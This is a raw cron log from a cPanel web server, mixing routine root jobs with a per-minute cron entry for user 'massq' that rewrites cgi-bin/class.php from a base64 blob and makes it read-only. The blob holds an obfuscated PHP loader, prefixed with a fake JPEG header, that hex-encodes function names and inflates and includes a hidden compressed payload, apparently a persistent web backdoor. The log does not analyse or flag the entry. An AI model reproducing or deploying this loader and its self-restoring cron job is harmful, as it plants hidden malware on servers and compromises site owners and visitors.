Nov 11 14:38:01 server CROND[20986]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:39:01 server CROND[21808]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 14:39:01 server CROND[21809]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:40:01 server CROND[22628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 14:40:01 server CROND[22629]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 14:40:01 server CROND[22631]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:40:01 server CROND[22633]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 14:41:01 server CROND[23500]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:42:01 server CROND[24415]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:42:01 server CROND[24416]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 14:43:01 server CROND[25231]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:44:01 server CROND[26056]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:45:01 server CROND[26855]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 14:45:01 server CROND[26856]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 14:45:01 server CROND[26857]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:46:01 server CROND[27730]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:47:01 server CROND[28543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:48:01 server CROND[29435]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:49:01 server CROND[30270]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:50:01 server CROND[31093]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 14:50:01 server CROND[31094]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 14:50:01 server CROND[31095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 14:50:01 server CROND[31096]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 14:50:01 server CROND[31098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
